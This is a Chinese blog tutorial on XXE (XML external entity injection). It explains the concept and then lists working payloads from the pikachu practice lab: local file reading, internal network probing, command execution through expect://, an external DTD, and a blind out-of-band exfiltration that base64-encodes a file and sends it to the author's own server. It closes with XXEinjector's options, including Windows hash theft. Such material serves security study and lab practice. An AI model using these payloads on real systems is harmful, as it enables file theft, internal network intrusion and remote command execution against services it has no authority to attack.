首页 > 其他分享 >WEB漏洞—XXE&XML之利用检测绕过全解

WEB漏洞—XXE&XML之利用检测绕过全解

时间:2023-08-01 17:46:12浏览次数:33  
标签:XML WEB 文件 -- 端口 漏洞 XXE

一.基础概念

1.XML

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2.XML和XXE区别 

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。

XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

3.XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在显示信息,而XML旨在传输信息。

4.XML示例

<!--文档类型定义-->
<!DOCTYPE note [    <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>    <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>            <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>        <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>        <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>        <!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

二.pikachu靶场练习

-回显,玩法,协议,引入

#进入靶场

#文件读取

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

#玩法-内网探针或攻击内网应用(触发漏洞地址)

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.174.128/test.txt">
]>
<x>&rabbit;</x>

#玩法-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到。

#引入外部实体DTD

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
		%file;
]>
<x>&send;</x>

//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

#条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。

#其中evil2.dtd文件内容:

<!ENTITY send SYSTEM "file:///c:/test.txt">

---执行包含伪协议的XML(类似于文件包含中:远程包含的原理)

---目的:绕过拦截软件 

 #无回显-读取文件

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
		<!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
		%dtd;
		%send;
]>


test.dtd文件内容:
<!ENTITY % payload
	"<!ENTITY &#x25; send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;

上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

XXE绕过:https://www.cnblogs.com/20175211lyz/p/11413335.html

XXE靶场:https://github.com/c0ny1/xxe-lab

XXE工具

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。

下载地址:https://github.com/enjoiz/XXEinjector

参数说明

--host     			必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file      		必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path           必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute          必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger        	记录输出结果。
--rhost          远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport          远程主机的TCP端口信息。(--rport=8080)
--phpfilter    	在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc     		使用netdoc协议。(Java).
--enumports   枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes       窃取运行当前应用程序用户的Windows哈希。
--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload       使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt      		XSLT注入测试。
--ssl              使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport 		Set自定义HTTP端口。(--httpport=80)
--ftpport       设置自定义FTP端口。(--ftpport=21)
--gopherport  设置自定义gopher端口。(--gopherport=70)
--jarport       设置自定义文件上传端口。(--jarport=1337)
--xsltport  	设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test     		该模式可用于测试请求的有效。
--urlencode     URL编码,默认为URI。
--output       爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout     设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout  设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast     		跳过枚举询问,有可能出现结果假阳性。
--verbose     显示verbose信息。

 

标签:XML,WEB,文件,--,端口,漏洞,XXE
From: https://www.cnblogs.com/Zx770/p/17597608.html

相关文章

  • pycharm配置webots外部控制器,同时添加多个路径,使得能够使用ROS
    1.先配置pycharm的PojectStructure打开Pycharm-->File-->Settings-->Project:项目名-->ProjectStructure-->+AddContentRoot,添加上会用到的库/opt/ros/melodic/lib/python2.7/dist-packages/usr/local/webots/lib/controller/python39/home/xx/multi-ro......
  • web渗透测试(8):SQL注入
    SQL注入是最常见的(web)漏洞之一。所有SQL注入练习,在这里找到,使用MySQL作为后端。当SQL查询中包含SQL注入时,缺少用户控制输入的编码/转义。 根据信息在查询中的添加方式,您需要不同的东西来破坏语法。有三种不同的方法可以在SQL语句中回显信息:使用引号:单引号或双引号。使用反......
  • webpack的部分知识
    webpack真的好累啊什么是webpackwebpack是一个现代javascript应用的静态模块打包工具,其主要功能就是模块和打包这里我一直觉得和maven很像,早在之前的学习过程中,maven具体的工作是什么我一直百思不得其解,认为我们普通的java程序就能够很好的跑起来为什么还要maven呢?这里先说we......
  • Unity 将UnityWebRequest改为async/await异步
    花了一点时间,对UnityWebRequest进行了简单封装,使用起来更方便一些,顺便实现了post接口轮询、重试的功能usingSystem;usingSystem.Collections;usingSystem.Collections.Generic;usingSystem.Runtime.CompilerServices;usingSystem.Text;usingSystem.Threading.Tasks;......
  • 聊聊时下火热的 AIGC 与 Web3
    近期,AI已经开始影响到了音乐行业,在B站搜索“AI孙燕姿”,从流行歌曲到摇滚,从周杰伦到王力宏,没有AI孙燕姿驾驭不了的歌曲。有用户评论:“我感觉AI没把歌手干掉,先把翻唱干掉了。”AI走红“乐坛”的时间不足一个月,而AI绘画对设计师的影响可不止一个月。自从AIGC诞生以来......
  • 记一次XML文件 批量添加属性
    publicstaticvoidmain(String[]age){try{List<Path>collect=Files.walk(Paths.get("D:\\modelform")).filter(Files::isRegularFile).collect(Collectors.toList());SAXReaderreader=newSAXReader();......
  • 【软件测试】web测试与app测试的区别
    系统架构方面:web项目,一般都是b/s架构,基于浏览器的app项目,则是c/s的,必须要有客户端,用户需要安装客户端。 B/S只要更新了服务器端,客户端就会同步会更新。APP项目则需要客户端和服务器都更新。  app下修改了服务端,意味着客户端用户所使用的核心版本都需要进......
  • ZLMediaKit WebRTC用法介绍
    一、WebRTC简介WebRTC是一个开源的实时通信技术,它支持浏览器和原生应用程序之间的实时音频/视频通信。WebRTC为音频和视频的传输提供了支持,也为数据的传输提供了支持,使得开发者可以用较少的代码来实现实时通信的功能。二、ZLMediaKitWebRTC介绍ZLMediaKit是一个开源的流媒体服务框......
  • webdriver 自动化测试
    Selenium是最流行的自动化测试工具,提供一整套的解决方案,其中webdriverremote方式比较灵活,浏览器可以指定本地或远程。部署也简单,在浏览器端运行java服务,客户端测试用例可以用Java、Ruby、PHP、Python编写。 测试服务器: 下载地址:http://selenium.googlecode.com/files/seleni......
  • 在tomcat中部署JAX-WS webservice
    在tomcat中部署WEBSERVICE呵呵,花了一个下午总算搞定了,现在整理一下思路。这是一个简单的WEB服务示例,客户端发送一个名字给服务器,服务器返回“hello+名字”字符串。1.下载jaxws-2_0.jar,地址https://jax-ws.dev.java.net/这步把我害惨,后边的示例用到这个包中的类,但......